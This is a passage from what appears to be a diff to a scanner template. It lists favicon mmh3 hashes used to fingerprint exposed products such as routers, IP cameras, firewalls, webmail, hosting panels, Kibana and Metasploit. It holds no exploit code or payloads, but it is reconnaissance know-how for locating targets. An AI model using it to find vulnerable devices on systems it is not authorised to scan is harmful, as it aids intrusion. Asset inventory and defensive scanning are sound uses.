(\"1594377337\" == mmh3(base64_py(body)))" + - type: dsl + name: "vodafone-technicolor" + dsl: + - "status_code==200 && (\"165976831\" == mmh3(base64_py(body)))" + - type: dsl + name: "ubnt-router-ui" + dsl: + - "status_code==200 && (\"-1677255344\" == mmh3(base64_py(body)))" + - type: dsl + name: "intelbras-wireless" + dsl: + - "status_code==200 && (\"-359621743\" == mmh3(base64_py(body)))" + - type: dsl + name: "kerio-connect-webmail" + dsl: + - "status_code==200 && (\"-677167908\" == mmh3(base64_py(body)))" + - type: dsl + name: "big-ip" + dsl: + - "status_code==200 && (\"878647854\" == mmh3(base64_py(body)))" + - type: dsl + name: "microsoft-owa" + dsl: + - "status_code==200 && (\"442749392\" == mmh3(base64_py(body)))" + - type: dsl + name: "pfsense" + dsl: + - "status_code==200 && (\"1405460984\" == mmh3(base64_py(body)))" + - type: dsl + name: "ikuai-networks" + dsl: + - "status_code==200 && (\"-271448102\" == mmh3(base64_py(body)))" + - type: dsl + name: "dlink-webcam" + dsl: + - "status_code==200 && (\"31972968\" == mmh3(base64_py(body)))" + - type: dsl + name: "3cx-phone-system" + dsl: + - "status_code==200 && (\"970132176\" == mmh3(base64_py(body)))" + - type: dsl + name: "bluehost" + dsl: + - "status_code==200 && (\"-1119613926\" == mmh3(base64_py(body)))" + - type: dsl + name: "sangfor" + dsl: + - "status_code==200 && (\"123821839\" == mmh3(base64_py(body)))" + - type: dsl + name: "zte-corporation-gateway/appliance" + dsl: + - "status_code==200 && (\"459900502\" == mmh3(base64_py(body)))" + - type: dsl + name: "ruckus-wireless" + dsl: + - "status_code==200 && (\"-2069844696\" == mmh3(base64_py(body)))" + - type: dsl + name: "bitnami" + dsl: + - "status_code==200 && (\"-1607644090\" == mmh3(base64_py(body)))" + - type: dsl + name: "juniper-device-manager" + dsl: + - "status_code==200 && (\"2141724739\" == mmh3(base64_py(body)))" + - type: dsl + name: "technicolor-gateway" + dsl: + - "status_code==200 && (\"1835479497\" == mmh3(base64_py(body)))" + - type: dsl + name: "gitlab" + dsl: + - "status_code==200 && (\"1278323681\" == mmh3(base64_py(body)))" + - type: dsl + name: "netasq---secure-/-stormshield" + dsl: + - "status_code==200 && (\"-1929912510\" == mmh3(base64_py(body)))" + - type: dsl + name: "vmware-horizon" + dsl: + - "status_code==200 && (\"-1255992602\" == mmh3(base64_py(body)))" + - type: dsl + name: "vmware-horizon" + dsl: + - "status_code==200 && (\"1895360511\" == mmh3(base64_py(body)))" + - type: dsl + name: "vmware-horizon" + dsl: + - "status_code==200 && (\"-991123252\" == mmh3(base64_py(body)))" + - type: dsl + name: "vmware-secure-file-transfer" + dsl: + - "status_code==200 && (\"1642701741\" == mmh3(base64_py(body)))" + - type: dsl + name: "sap-netweaver" + dsl: + - "status_code==200 && (\"-266008933\" == mmh3(base64_py(body)))" + - type: dsl + name: "sap-id-service" + dsl: + - "status_code==200 && (\"-1967743928\" == mmh3(base64_py(body)))" + - type: dsl + name: "sap-conversational-ai" + dsl: + - "status_code==200 && (\"1347937389\" == mmh3(base64_py(body)))" + - type: dsl + name: "palo-alto-login-portal" + dsl: + - "status_code==200 && (\"602431586\" == mmh3(base64_py(body)))" + - type: dsl + name: "palo-alto-networks" + dsl: + - "status_code==200 && (\"-318947884\" == mmh3(base64_py(body)))" + - type: dsl + name: "outlook-web-application" + dsl: + - "status_code==200 && (\"1356662359\" == mmh3(base64_py(body)))" + - type: dsl + name: "webmin" + dsl: + - "status_code==200 && (\"1453890729\" == mmh3(base64_py(body)))" + - type: dsl + name: "docker" + dsl: + - "status_code==200 && (\"-1814887000\" == mmh3(base64_py(body)))" + - type: dsl + name: "docker" + dsl: + - "status_code==200 && (\"1937209448\" == mmh3(base64_py(body)))" + - type: dsl + name: "amazon" + dsl: + - "status_code==200 && (\"-1544605732\" == mmh3(base64_py(body)))" + - type: dsl + name: "amazon" + dsl: + - "status_code==200 && (\"716989053\" == mmh3(base64_py(body)))" + - type: dsl + name: "phpmyadmin" + dsl: + - "status_code==200 && (\"-1010568750\" == mmh3(base64_py(body)))" + - type: dsl + name: "zhejiang-uniview-technologies-co." + dsl: + - "status_code==200 && (\"-1240222446\" == mmh3(base64_py(body)))" + - type: dsl + name: "isp-manager" + dsl: + - "status_code==200 && (\"-986678507\" == mmh3(base64_py(body)))" + - type: dsl + name: "axis-network-cameras" + dsl: + - "status_code==200 && (\"-1616143106\" == mmh3(base64_py(body)))" + - type: dsl + name: "roundcube-webmail" + dsl: + - "status_code==200 && (\"-976235259\" == mmh3(base64_py(body)))" + - type: dsl + name: "unifi-video-controller-airvision" + dsl: + - "status_code==200 && (\"768816037\" == mmh3(base64_py(body)))" + - type: dsl + name: "pfsense" + dsl: + - "status_code==200 && (\"1015545776\" == mmh3(base64_py(body)))" + - type: dsl + name: "freebox-os" + dsl: + - "status_code==200 && (\"1838417872\" == mmh3(base64_py(body)))" + - type: dsl + name: "hxxps" + dsl: + - "status_code==200 && (\"1188645141\" == mmh3(base64_py(body)))" + - type: dsl + name: "keenetic" + dsl: + - "status_code==200 && (\"547282364\" == mmh3(base64_py(body)))" + - type: dsl + name: "sierra-wireless-ace-manager-airlink" + dsl: + - "status_code==200 && (\"-1571472432\" == mmh3(base64_py(body)))" + - type: dsl + name: "synology-diskstation" + dsl: + - "status_code==200 && (\"149371702\" == mmh3(base64_py(body)))" + - type: dsl + name: "instar-ip-cameras" + dsl: + - "status_code==200 && (\"-1169314298\" == mmh3(base64_py(body)))" + - type: dsl + name: "webmin" + dsl: + - "status_code==200 && (\"-1038557304\" == mmh3(base64_py(body)))" + - type: dsl + name: "octoprint-3d-printer" + dsl: + - "status_code==200 && (\"1307375944\" == mmh3(base64_py(body)))" + - type: dsl + name: "webmin" + dsl: + - "status_code==200 && (\"1280907310\" == mmh3(base64_py(body)))" + - type: dsl + name: "vesta-hosting-control-panel" + dsl: + - "status_code==200 && (\"1954835352\" == mmh3(base64_py(body)))" + - type: dsl + name: "farming-simulator-dedicated-server" + dsl: + - "status_code==200 && (\"509789953\" == mmh3(base64_py(body)))" + - type: dsl + name: "residential-gateway" + dsl: + - "status_code==200 && (\"-1933493443\" == mmh3(base64_py(body)))" + - type: dsl + name: "cpanel-login" + dsl: + - "status_code==200 && (\"1993518473\" == mmh3(base64_py(body)))" + - type: dsl + name: "arris" + dsl: + - "status_code==200 && (\"-1477563858\" == mmh3(base64_py(body)))" + - type: dsl + name: "plex-server" + dsl: + - "status_code==200 && (\"-895890586\" == mmh3(base64_py(body)))" + - type: dsl + name: "dlink-webcam" + dsl: + - "status_code==200 && (\"-1354933624\" == mmh3(base64_py(body)))" + - type: dsl + name: "deluge" + dsl: + - "status_code==200 && (\"944969688\" == mmh3(base64_py(body)))" + - type: dsl + name: "webmin" + dsl: + - "status_code==200 && (\"479413330\" == mmh3(base64_py(body)))" + - type: dsl + name: "cambium-networks" + dsl: + - "status_code==200 && (\"-435817905\" == mmh3(base64_py(body)))" + - type: dsl + name: "plesk" + dsl: + - "status_code==200 && (\"-981606721\" == mmh3(base64_py(body)))" + - type: dsl + name: "dahua-storm-ip-camera" + dsl: + - "status_code==200 && (\"833190513\" == mmh3(base64_py(body)))" + - type: dsl + name: "10" + dsl: + - "status_code==200 && (\"-1314864135\" == mmh3(base64_py(body)))" + - type: dsl + name: "parallels-plesk-panel" + dsl: + - "status_code==200 && (\"-652508439\" == mmh3(base64_py(body)))" + - type: dsl + name: "fireware-watchguard" + dsl: + - "status_code==200 && (\"-569941107\" == mmh3(base64_py(body)))" + - type: dsl + name: "shock&innovation!!-netis-setup" + dsl: + - "status_code==200 && (\"1326164945\" == mmh3(base64_py(body)))" + - type: dsl + name: "cacaoweb" + dsl: + - "status_code==200 && (\"-1738184811\" == mmh3(base64_py(body)))" + - type: dsl + name: "loxone-automation" + dsl: + - "status_code==200 && (\"904434662\" == mmh3(base64_py(body)))" + - type: dsl + name: "hp-printer/server" + dsl: + - "status_code==200 && (\"905744673\" == mmh3(base64_py(body)))" + - type: dsl + name: "netflix" + dsl: + - "status_code==200 && (\"902521196\" == mmh3(base64_py(body)))" + - type: dsl + name: "linksys-smart-wi-fi" + dsl: + - "status_code==200 && (\"-2063036701\" == mmh3(base64_py(body)))" + - type: dsl + name: "lwip-a-lightweight-tcp/ip-stack" + dsl: + - "status_code==200 && (\"-1205024243\" == mmh3(base64_py(body)))" + - type: dsl + name: "hitron-technologies" + dsl: + - "status_code==200 && (\"607846949\" == mmh3(base64_py(body)))" + - type: dsl + name: "dahua-storm-dvr" + dsl: + - "status_code==200 && (\"1281253102\" == mmh3(base64_py(body)))" + - type: dsl + name: "mobotix-camera" + dsl: + - "status_code==200 && (\"661332347\" == mmh3(base64_py(body)))" + - type: dsl + name: "blue-iris-webcam" + dsl: + - "status_code==200 && (\"-520888198\" == mmh3(base64_py(body)))" + - type: dsl + name: "vigor-router" + dsl: + - "status_code==200 && (\"104189364\" == mmh3(base64_py(body)))" + - type: dsl + name: "alibaba-cloud-block-page" + dsl: + - "status_code==200 && (\"1227052603\" == mmh3(base64_py(body)))" + - type: dsl + name: "dd-wrt-dd-wrt-milli_httpd" + dsl: + - "status_code==200 && (\"252728887\" == mmh3(base64_py(body)))" + - type: dsl + name: "mitel-networks-micollab-end-user-portal" + dsl: + - "status_code==200 && (\"-1922044295\" == mmh3(base64_py(body)))" + - type: dsl + name: "dlink-webcam" + dsl: + - "status_code==200 && (\"1221759509\" == mmh3(base64_py(body)))" + - type: dsl + name: "dlink-router" + dsl: + - "status_code==200 && (\"1037387972\" == mmh3(base64_py(body)))" + - type: dsl + name: "prtg-network-monitor" + dsl: + - "status_code==200 && (\"-655683626\" == mmh3(base64_py(body)))" + - type: dsl + name: "elastic-database" + dsl: + - "status_code==200 && (\"1611729805\" == mmh3(base64_py(body)))" + - type: dsl + name: "dlink-webcam" + dsl: + - "status_code==200 && (\"1144925962\" == mmh3(base64_py(body)))" + - type: dsl + name: "wildfly" + dsl: + - "status_code==200 && (\"-1666561833\" == mmh3(base64_py(body)))" + - type: dsl + name: "cisco-meraki-dashboard" + dsl: + - "status_code==200 && (\"804949239\" == mmh3(base64_py(body)))" + - type: dsl + name: "workday" + dsl: + - "status_code==200 && (\"-459291760\" == mmh3(base64_py(body)))" + - type: dsl + name: "justhost" + dsl: + - "status_code==200 && (\"1734609466\" == mmh3(base64_py(body)))" + - type: dsl + name: "baidu-ip-error-page" + dsl: + - "status_code==200 && (\"-1507567067\" == mmh3(base64_py(body)))" + - type: dsl + name: "intelbras-sa" + dsl: + - "status_code==200 && (\"2006716043\" == mmh3(base64_py(body)))" + - type: dsl + name: "yii-php-framework-default-favicon" + dsl: + - "status_code==200 && (\"-1298108480\" == mmh3(base64_py(body)))" + - type: dsl + name: "truvision-nvr-interlogix" + dsl: + - "status_code==200 && (\"1782271534\" == mmh3(base64_py(body)))" + - type: dsl + name: "redmine" + dsl: + - "status_code==200 && (\"603314\" == mmh3(base64_py(body)))" + - type: dsl + name: "phpmyadmin" + dsl: + - "status_code==200 && (\"-476231906\" == mmh3(base64_py(body)))" + - type: dsl + name: "cisco-eg" + dsl: + - "status_code==200 && (\"-646322113\" == mmh3(base64_py(body)))" + - type: dsl + name: "jetty-404" + dsl: + - "status_code==200 && (\"-629047854\" == mmh3(base64_py(body)))" + - type: dsl + name: "luma-surveillance" + dsl: + - "status_code==200 && (\"-1351901211\" == mmh3(base64_py(body)))" + - type: dsl + name: "parallels-plesk-panel" + dsl: + - "status_code==200 && (\"-519765377\" == mmh3(base64_py(body)))" + - type: dsl + name: "hp-printer-/-server" + dsl: + - "status_code==200 && (\"-2144363468\" == mmh3(base64_py(body)))" + - type: dsl + name: "metasploit" + dsl: + - "status_code==200 && (\"-127886975\" == mmh3(base64_py(body)))" + - type: dsl + name: "metasploit" + dsl: + - "status_code==200 && (\"1139788073\" == mmh3(base64_py(body)))" + - type: dsl + name: "metasploit" + dsl: + - "status_code==200 && (\"-1235192469\" == mmh3(base64_py(body)))" + - type: dsl + name: "alibi-nvr" + dsl: + - "status_code==200 && (\"1876585825\" == mmh3(base64_py(body)))" + - type: dsl + name: "sangfor" + dsl: + - "status_code==200 && (\"-1810847295\" == mmh3(base64_py(body)))" + - type: dsl + name: "websockets-test-page-eg" + dsl: + - "status_code==200 && (\"-291579889\" == mmh3(base64_py(body)))" + - type: dsl + name: "macos-server-apple" + dsl: + - "status_code==200 && (\"1629518721\" == mmh3(base64_py(body)))" + - type: dsl + name: "openrg" + dsl: + - "status_code==200 && (\"-986816620\" == mmh3(base64_py(body)))" + - type: dsl + name: "cisco-router" + dsl: + - "status_code==200 && (\"-299287097\" == mmh3(base64_py(body)))" + - type: dsl + name: "sangfor" + dsl: + - "status_code==200 && (\"-1926484046\" == mmh3(base64_py(body)))" + - type: dsl + name: "herospeed-digital-technology-co.-nvr/ipc/xvr" + dsl: + - "status_code==200 && (\"-873627015\" == mmh3(base64_py(body)))" + - type: dsl + name: "nomadix-access-gateway" + dsl: + - "status_code==200 && (\"2071993228\" == mmh3(base64_py(body)))" + - type: dsl + name: "gitlab" + dsl: + - "status_code==200 && (\"516963061\" == mmh3(base64_py(body)))" + - type: dsl + name: "magento" + dsl: + - "status_code==200 && (\"-38580010\" == mmh3(base64_py(body)))" + - type: dsl + name: "mk-auth" + dsl: + - "status_code==200 && (\"1490343308\" == mmh3(base64_py(body)))" + - type: dsl + name: "shoutcast-server" + dsl: + - "status_code==200 && (\"-632583950\" == mmh3(base64_py(body)))" + - type: dsl + name: "fireeye" + dsl: + - "status_code==200 && (\"95271369\" == mmh3(base64_py(body)))" + - type: dsl + name: "fireeye" + dsl: + - "status_code==200 && (\"1476335317\" == mmh3(base64_py(body)))" + - type: dsl + name: "fireeye" + dsl: + - "status_code==200 && (\"-842192932\" == mmh3(base64_py(body)))" + - type: dsl + name: "fireeye" + dsl: + - "status_code==200 && (\"105083909\" == mmh3(base64_py(body)))" + - type: dsl + name: "fireeye" + dsl: + - "status_code==200 && (\"240606739\" == mmh3(base64_py(body)))" + - type: dsl + name: "fireeye" + dsl: + - "status_code==200 && (\"2121539357\" == mmh3(base64_py(body)))" + - type: dsl + name: "adobe-campaign-classic" + dsl: + - "status_code==200 && (\"-333791179\" == mmh3(base64_py(body)))" + - type: dsl + name: "xampp" + dsl: + - "status_code==200 && (\"-1437701105\" == mmh3(base64_py(body)))" + - type: dsl + name: "niagara-web-server" + dsl: + - "status_code==200 && (\"-676077969\" == mmh3(base64_py(body)))" + - type: dsl + name: "technicolor" + dsl: + - "status_code==200 && (\"-2138771289\" == mmh3(base64_py(body)))" + - type: dsl + name: "hitron-technologies-inc." + dsl: + - "status_code==200 && (\"711742418\" == mmh3(base64_py(body)))" + - type: dsl + name: "ibm-notes" + dsl: + - "status_code==200 && (\"728788645\" == mmh3(base64_py(body)))" + - type: dsl + name: "barracuda" + dsl: + - "status_code==200 && (\"1436966696\" == mmh3(base64_py(body)))" + - type: dsl + name: "servicenow" + dsl: + - "status_code==200 && (\"86919334\" == mmh3(base64_py(body)))" + - type: dsl + name: "openfire-admin-console" + dsl: + - "status_code==200 && (\"1211608009\" == mmh3(base64_py(body)))" + - type: dsl + name: "hp-ilo" + dsl: + - "status_code==200 && (\"2059618623\" == mmh3(base64_py(body)))" + - type: dsl + name: "sunny-webbox" + dsl: + - "status_code==200 && (\"1975413433\" == mmh3(base64_py(body)))" + - type: dsl + name: "zyxel" + dsl: + - "status_code==200 && (\"943925975\" == mmh3(base64_py(body)))" + - type: dsl + name: "huawei" + dsl: + - "status_code==200 && (\"281559989\" == mmh3(base64_py(body)))" + - type: dsl + name: "tenda-web-master" + dsl: + - "status_code==200 && (\"-2145085239\" == mmh3(base64_py(body)))" + - type: dsl + name: "prometheus-time-series-collection-and-processing-server" + dsl: + - "status_code==200 && (\"-1399433489\" == mmh3(base64_py(body)))" + - type: dsl + name: "wdcp-cloud-host-management-system" + dsl: + - "status_code==200 && (\"1786752597\" == mmh3(base64_py(body)))" + - type: dsl + name: "domoticz-home-automation" + dsl: + - "status_code==200 && (\"90680708\" == mmh3(base64_py(body)))" + - type: dsl + name: "tableau" + dsl: + - "status_code==200 && (\"-1441956789\" == mmh3(base64_py(body)))" + - type: dsl + name: "openwrt-luci" + dsl: + - "status_code==200 && (\"-675839242\" == mmh3(base64_py(body)))" + - type: dsl + name: "ubiquiti-airos" + dsl: + - "status_code==200 && (\"1020814938\" == mmh3(base64_py(body)))" + - type: dsl + name: "mdaemon-webmail" + dsl: + - "status_code==200 && (\"-766957661\" == mmh3(base64_py(body)))" + - type: dsl + name: "teltonika" + dsl: + - "status_code==200 && (\"119741608\" == mmh3(base64_py(body)))" + - type: dsl + name: "entrolink" + dsl: + - "status_code==200 && (\"1973665246\" == mmh3(base64_py(body)))" + - type: dsl + name: "windriver-webserver" + dsl: + - "status_code==200 && (\"74935566\" == mmh3(base64_py(body)))" + - type: dsl + name: "microhard-systems" + dsl: + - "status_code==200 && (\"-1723752240\" == mmh3(base64_py(body)))" + - type: dsl + name: "skype" + dsl: + - "status_code==200 && (\"-1807411396\" == mmh3(base64_py(body)))" + - type: dsl + name: "teltonika" + dsl: + - "status_code==200 && (\"-1612496354\" == mmh3(base64_py(body)))" + - type: dsl + name: "eltex-router" + dsl: + - "status_code==200 && (\"1877797890\" == mmh3(base64_py(body)))" + - type: dsl + name: "bintec-elmeg" + dsl: + - "status_code==200 && (\"-375623619\" == mmh3(base64_py(body)))" + - type: dsl + name: "syncthru-web-service-printers" + dsl: + - "status_code==200 && (\"1483097076\" == mmh3(base64_py(body)))" + - type: dsl + name: "boaserver" + dsl: + - "status_code==200 && (\"1169183049\" == mmh3(base64_py(body)))" + - type: dsl + name: "securepoint" + dsl: + - "status_code==200 && (\"1051648103\" == mmh3(base64_py(body)))" + - type: dsl + name: "moodle" + dsl: + - "status_code==200 && (\"-438482901\" == mmh3(base64_py(body)))" + - type: dsl + name: "radix" + dsl: + - "status_code==200 && (\"-1492966240\" == mmh3(base64_py(body)))" + - type: dsl + name: "cradlepoint-technology-router" + dsl: + - "status_code==200 && (\"1466912879\" == mmh3(base64_py(body)))" + - type: dsl + name: "drupal" + dsl: + - "status_code==200 && (\"-167656799\" == mmh3(base64_py(body)))" + - type: dsl + name: "blackboard" + dsl: + - "status_code==200 && (\"-1593651747\" == mmh3(base64_py(body)))" + - type: dsl + name: "jupyter-notebook" + dsl: + - "status_code==200 && (\"-895963602\" == mmh3(base64_py(body)))" + - type: dsl + name: "hostmonster---web-hosting" + dsl: + - "status_code==200 && (\"-972810761\" == mmh3(base64_py(body)))" + - type: dsl + name: "d-link-router/network" + dsl: + - "status_code==200 && (\"1703788174\" == mmh3(base64_py(body)))" + - type: dsl + name: "rocket-chat" + dsl: + - "status_code==200 && (\"225632504\" == mmh3(base64_py(body)))" + - type: dsl + name: "mofinetwork" + dsl: + - "status_code==200 && (\"-1702393021\" == mmh3(base64_py(body)))" + - type: dsl + name: "zabbix" + dsl: + - "status_code==200 && (\"892542951\" == mmh3(base64_py(body)))" + - type: dsl + name: "totolink-network" + dsl: + - "status_code==200 && (\"547474373\" == mmh3(base64_py(body)))" + - type: dsl + name: "ossia-provision-sr-|-webcam/ip-camera" + dsl: + - "status_code==200 && (\"-374235895\" == mmh3(base64_py(body)))" + - type: dsl + name: "cpanel-login" + dsl: + - "status_code==200 && (\"1544230796\" == mmh3(base64_py(body)))" + - type: dsl + name: "d-link-router/network" + dsl: + - "status_code==200 && (\"517158172\" == mmh3(base64_py(body)))" + - type: dsl + name: "jeedom-home-automation" + dsl: + - "status_code==200 && (\"462223993\" == mmh3(base64_py(body)))" + - type: dsl + name: "jboss-application-server-7" + dsl: + - "status_code==200 && (\"937999361\" == mmh3(base64_py(body)))" + - type: dsl + name: "niagara-web-server-/-tridium" + dsl: + - "status_code==200 && (\"1991562061\" == mmh3(base64_py(body)))" + - type: dsl + name: "solarwinds-serv-u-ftp-server" + dsl: + - "status_code==200 && (\"812385209\" == mmh3(base64_py(body)))" + - type: dsl + name: "aruba-virtual-controller" + dsl: + - "status_code==200 && (\"1142227528\" == mmh3(base64_py(body)))" + - type: dsl + name: "dell" + dsl: + - "status_code==200 && (\"-1153950306\" == mmh3(base64_py(body)))" + - type: dsl + name: "remobjects-sdk-/-remoting-sdk-for-.net-http-server-microsoft" + dsl: + - "status_code==200 && (\"72005642\" == mmh3(base64_py(body)))" + - type: dsl + name: "zyxel-zywall" + dsl: + - "status_code==200 && (\"-484708885\" == mmh3(base64_py(body)))" + - type: dsl + name: "visualsvn-server" + dsl: + - "status_code==200 && (\"706602230\" == mmh3(base64_py(body)))" + - type: dsl + name: "jboss" + dsl: + - "status_code==200 && (\"-656811182\" == mmh3(base64_py(body)))" + - type: dsl + name: "starface-voip-software" + dsl: + - "status_code==200 && (\"-332324409\" == mmh3(base64_py(body)))" + - type: dsl + name: "netis-network-devices" + dsl: + - "status_code==200 && (\"-594256627\" == mmh3(base64_py(body)))" + - type: dsl + name: "whm" + dsl: + - "status_code==200 && (\"-649378830\" == mmh3(base64_py(body)))" + - type: dsl + name: "tandberg" + dsl: + - "status_code==200 && (\"97604680\" == mmh3(base64_py(body)))" + - type: dsl + name: "ghost-cms" + dsl: + - "status_code==200 && (\"-1015932800\" == mmh3(base64_py(body)))" + - type: dsl + name: "avtech-ip-surveillance-camera" + dsl: + - "status_code==200 && (\"-194439630\" == mmh3(base64_py(body)))" + - type: dsl + name: "liferay-portal" + dsl: + - "status_code==200 && (\"129457226\" == mmh3(base64_py(body)))" + - type: dsl + name: "parallels-plesk-panel" + dsl: + - "status_code==200 && (\"-771764544\" == mmh3(base64_py(body)))" + - type: dsl + name: "odoo" + dsl: + - "status_code==200 && (\"-617743584\" == mmh3(base64_py(body)))" + - type: dsl + name: "polycom" + dsl: + - "status_code==200 && (\"77044418\" == mmh3(base64_py(body)))" + - type: dsl + name: "cake-php" + dsl: + - "status_code==200 && (\"980692677\" == mmh3(base64_py(body)))" + - type: dsl + name: "exacq" + dsl: + - "status_code==200 && (\"476213314\" == mmh3(base64_py(body)))" + - type: dsl + name: "checkpoint" + dsl: + - "status_code==200 && (\"794809961\" == mmh3(base64_py(body)))" + - type: dsl + name: "ubiquiti-unms" + dsl: + - "status_code==200 && (\"1157789622\" == mmh3(base64_py(body)))" + - type: dsl + name: "cpanel-login" + dsl: + - "status_code==200 && (\"1244636413\" == mmh3(base64_py(body)))" + - type: dsl + name: "worldclient-for-mdaemon" + dsl: + - "status_code==200 && (\"1985721423\" == mmh3(base64_py(body)))" + - type: dsl + name: "netport-software-dsl" + dsl: + - "status_code==200 && (\"-1124868062\" == mmh3(base64_py(body)))" + - type: dsl + name: "f5-big-ip" + dsl: + - "status_code==200 && (\"-335242539\" == mmh3(base64_py(body)))" + - type: dsl + name: "mailcow" + dsl: + - "status_code==200 && (\"2146763496\" == mmh3(base64_py(body)))" + - type: dsl + name: "qnap-nas-virtualization-station" + dsl: + - "status_code==200 && (\"-1041180225\" == mmh3(base64_py(body)))" + - type: dsl + name: "netgear" + dsl: + - "status_code==200 && (\"-1319025408\" == mmh3(base64_py(body)))" + - type: dsl + name: "gogs" + dsl: + - "status_code==200 && (\"917966895\" == mmh3(base64_py(body)))" + - type: dsl + name: "trendnet-ip-camera" + dsl: + - "status_code==200 && (\"512590457\" == mmh3(base64_py(body)))" + - type: dsl + name: "asustor" + dsl: + - "status_code==200 && (\"1678170702\" == mmh3(base64_py(body)))" + - type: dsl + name: "dahua" + dsl: + - "status_code==200 && (\"-1466785234\" == mmh3(base64_py(body)))" + - type: dsl + name: "discuz!" + dsl: + - "status_code==200 && (\"-505448917\" == mmh3(base64_py(body)))" + - type: dsl + name: "wdcp-cloud-host-management-system" + dsl: + - "status_code==200 && (\"255892555\" == mmh3(base64_py(body)))" + - type: dsl + name: "joomla" + dsl: + - "status_code==200 && (\"1627330242\" == mmh3(base64_py(body)))" + - type: dsl + name: "smartermail" + dsl: + - "status_code==200 && (\"-1935525788\" == mmh3(base64_py(body)))" + - type: dsl + name: "seafile" + dsl: + - "status_code==200 && (\"-12700016\" == mmh3(base64_py(body)))" + - type: dsl + name: "bintec-elmeg" + dsl: + - "status_code==200 && (\"1770799630\" == mmh3(base64_py(body)))" + - type: dsl + name: "netgear-readynas" + dsl: + - "status_code==200 && (\"-137295400\" == mmh3(base64_py(body)))" + - type: dsl + name: "ipecs" + dsl: + - "status_code==200 && (\"-195508437\" == mmh3(base64_py(body)))" + - type: dsl + name: "bet365" + dsl: + - "status_code==200 && (\"-2116540786\" == mmh3(base64_py(body)))" + - type: dsl + name: "reolink" + dsl: + - "status_code==200 && (\"-38705358\" == mmh3(base64_py(body)))" + - type: dsl + name: "idera" + dsl: + - "status_code==200 && (\"-450254253\" == mmh3(base64_py(body)))" + - type: dsl + name: "proofpoint" + dsl: + - "status_code==200 && (\"-1630354993\" == mmh3(base64_py(body)))" + - type: dsl + name: "kerio-connect-webmail" + dsl: + - "status_code==200 && (\"-1678298769\" == mmh3(base64_py(body)))" + - type: dsl + name: "worldclient-for-mdaemon" + dsl: + - "status_code==200 && (\"-35107086\" == mmh3(base64_py(body)))" + - type: dsl + name: "realtek" + dsl: + - "status_code==200 && (\"2055322029\" == mmh3(base64_py(body)))" + - type: dsl + name: "ruijie-networks-login" + dsl: + - "status_code==200 && (\"-692947551\" == mmh3(base64_py(body)))" + - type: dsl + name: "askey-cable-modem" + dsl: + - "status_code==200 && (\"-1710631084\" == mmh3(base64_py(body)))" + - type: dsl + name: "askey-cable-modem" + dsl: + - "status_code==200 && (\"89321398\" == mmh3(base64_py(body)))" + - type: dsl + name: "jaws-web-server-ip-camera" + dsl: + - "status_code==200 && (\"90066852\" == mmh3(base64_py(body)))" + - type: dsl + name: "jaws-web-server-ip-camera" + dsl: + - "status_code==200 && (\"768231242\" == mmh3(base64_py(body)))" + - type: dsl + name: "homegrown-website-hosting" + dsl: + - "status_code==200 && (\"-421986013\" == mmh3(base64_py(body)))" + - type: dsl + name: "technicolor-/-thomson-speedtouch-network-/-adsl" + dsl: + - "status_code==200 && (\"156312019\" == mmh3(base64_py(body)))" + - type: dsl + name: "dvr-korean" + dsl: + - "status_code==200 && (\"-560297467\" == mmh3(base64_py(body)))" + - type: dsl + name: "joomla" + dsl: + - "status_code==200 && (\"-1950415971\" == mmh3(base64_py(body)))" + - type: dsl + name: "tp-link-network-device" + dsl: + - "status_code==200 && (\"1842351293\" == mmh3(base64_py(body)))" + - type: dsl + name: "salesforce" + dsl: + - "status_code==200 && (\"1433417005\" == mmh3(base64_py(body)))" + - type: dsl + name: "apache-haus" + dsl: + - "status_code==200 && (\"-632070065\" == mmh3(base64_py(body)))" + - type: dsl + name: "untangle" + dsl: + - "status_code==200 && (\"1103599349\" == mmh3(base64_py(body)))" + - type: dsl + name: "shenzhen-coship-electronics-co." + dsl: + - "status_code==200 && (\"224536051\" == mmh3(base64_py(body)))" + - type: dsl + name: "d-link-router/network" + dsl: + - "status_code==200 && (\"1038500535\" == mmh3(base64_py(body)))" + - type: dsl + name: "d-link-camera" + dsl: + - "status_code==200 && (\"-355305208\" == mmh3(base64_py(body)))" + - type: dsl + name: "kibana" + dsl: + - "status_code==200 && (\"-267431135\" == mmh3(base64_py(body)))" + - type: dsl + name: "kibana" + dsl: + - "status_code==200 && (\"-759754862\" == mmh3(base64_py(body)))" + - type: dsl + name: "kibana" + dsl: + - "status_code==200 && (\"-1200737715\" == mmh3(base64_py(body)))" + - type: dsl + name: "kibana" + dsl: + - "status_code==200 && (\"75230260\" == mmh3(base64_py(body)))" + - type: dsl + name: "kibana" + dsl: + - "status_code==200 && (\"1668183286\" == mmh3(base64_py(body)))" + - type: dsl + name: "intelbras-sa" + dsl: + - "status_code==200 && (\"283740897\" == mmh3(base64_py(body)))" + - type: dsl + name: "icecast-streaming-media-server" + dsl: + - "status_code==200 && (\"1424295654\" == mmh3(base64_py(body)))" + - type: dsl + name: "nec-webpro" + dsl: + - "status_code==200 && (\"1922032523\" == mmh3(base64_py(body)))" + - type: dsl + name: "vivotek-camera" + dsl: + - "status_code==200 && (\"-1654229048\" == mmh3(base64_py(body)))" + - type: dsl + name: "microsoft-iis" + dsl: + - "status_code==200 && (\"-1414475558\" == mmh3(base64_py(body)))" + - type: dsl + name: "univention-portal" + dsl: + - "status_code==200 && (\"-1697334194\" == mmh3(base64_py(body)))" + - type: dsl + name: "portainer-docker-management" + dsl: + - "status_code==200 && (\"-1424036600\" == mmh3(base64_py(body)))" + - type: dsl + name: "nos-router" + dsl: + - "status_code==200 && (\"-831826827\" == mmh3(base64_py(body)))" + - type: dsl + name: "tongda" + dsl: + - "status_code==200 && (\"-759108386\" == mmh3(base64_py(body)))" + - type: dsl + name: "crushftp" + dsl: + - "status_code==200 && (\"-1022206565\" == mmh3(base64_py(body)))" + - type: dsl + name: "endian-firewall" + dsl: + - "status_code==200 && (\"-1225484776\" == mmh3(base64_py(body)))" + - type: dsl + name: "kerio-control-firewall" + dsl: + - "status_code==200 && (\"-631002664\" == mmh3(base64_py(body)))" + - type: dsl + name: "ferozo-panel" + dsl: + - "status_code==200 && (\"2072198544\" == mmh3(base64_py(body)))" + - type: dsl + name: "kerio-control-firewall" + dsl: + - "status_code==200 && (\"-466504476\" == mmh3(base64_py(body)))" + - type: dsl + name: "cafe24-korea" + dsl: + - "status_code==200 && (\"1251810433\" == mmh3(base64_py(body)))" + - type: dsl + name: "mautic-open-source-marketing-automation" + dsl: + - "status_code==200 && (\"1273982002\" == mmh3(base64_py(body)))" + - type: dsl + name: "netiaspot-network" + dsl: + - "status_code==200 && (\"-978656757\" == mmh3(base64_py(body)))" + - type: dsl + name: "multilaser" + dsl: + - "status_code==200 && (\"916642917\" == 